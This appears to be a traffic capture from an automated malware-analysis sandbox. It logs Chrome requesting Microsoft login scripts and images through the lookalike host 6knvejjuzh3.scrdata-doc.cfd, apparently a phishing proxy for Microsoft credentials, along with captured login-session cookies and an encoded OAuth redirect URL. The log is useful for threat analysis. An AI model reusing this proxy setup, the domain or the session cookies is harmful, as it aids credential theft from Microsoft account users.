2024-04-26 12:37:40 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49776	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:54 UTC	2765	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:54 UTC	1384	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:54 GMT Content-Type: application/x-javascript content-length: 4730 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE85F09C x-ms-request-id: 5fd68b59-501e-0057-12d6-9757a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123754Z-17949d75874g78r7n4rhx0r71s0000000apg00000000kabc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:54 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-04-26 12:37:54 UTC	1652	IN	Data Raw: e5 57 ed 53 db 36 18 ff de bf 42 78 1f 48 8a ed bc 10 92 90 36 bb 6b 81 0e ba 52 72 24 eb 6e 07 5c 4e 96 95 44 60 4b 3e 49 4e c8 80 ff 7d 8f 14 3b c4 21 74 b4 bd dd 6d 37 ee 88 13 e9 79 f9 3d 2f bf 47 72 e5 f5 d6 2b f4 1a 79 2f ff 43 fd c1 bb f3 01 3a fb 80 06 c7 27 e7 87 a8 07 bf fe 40 9f cf 06 27 07 47 2f b7 63 9c 9a ff c1 84 29 34 62 11 45 f0 0c b0 a2 21 12 1c 09 89 18 27 42 26 42 62 4d 15 8a e1 53 32 1c a1 91 14 31 d2 13 8a 12 29 ae 29 d1 0a 45 4c 69 50 0a 68 24 66 a8 04 e6 64 88 7a 58 ea 39 3a e9 95 7d b0 4f c1 1a 1b 33 0e da 44 24 73 f8 3e d1 88 0b cd 08 45 98 87 d6 5a 04 3f b8 a2 28 e5 21 95 68 36 61 64 82 4e 19 91 42 89 91 46 92 12 ca a6 e0 44 a5 b0 5e 74 e1 22 2c 29 52 54 a3 91 90 7a b2 c0 e1 a3 be 91 cc ac 2a eb 66 e1 51 59 71 00 3f 65 21 18 1c Data Ascii: WS6BxH6kRr$n\ND`K>IN};!tm7y=/Gr+y/C:'@'G/c)4bE!'B&BbMS21))ELiPh$fdzX9:}O3D$s>EZ?(!h6adNBFD^t",)RTz*fQYq?e!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49777	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:54 UTC	2813	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:55 UTC	735	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:55 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 6a7cf7d3-d01e-0027-7bd6-97a5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123755Z-17859dc676bcdbvk9kmerzd0gc00000004d000000000hpyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 12:37:55 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49778	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:54 UTC	2807	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:55 UTC	735	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:55 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 0c7e2cf6-b01e-0021-0cd6-975faf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123755Z-17949d75874hnctrrvbghbvb980000000ay0000000004gcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 12:37:55 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49779	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:55 UTC	2812	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:56 UTC	785	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:56 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 31 Oct 2020 02:21:09 GMT ETag: 0x8D87D43A145A2CC x-ms-request-id: 16c431a0-e01e-0010-2fd6-9755bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123756Z-16f6b7d4654qfkh9g2m5kybc9n00000001q000000000mr22 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
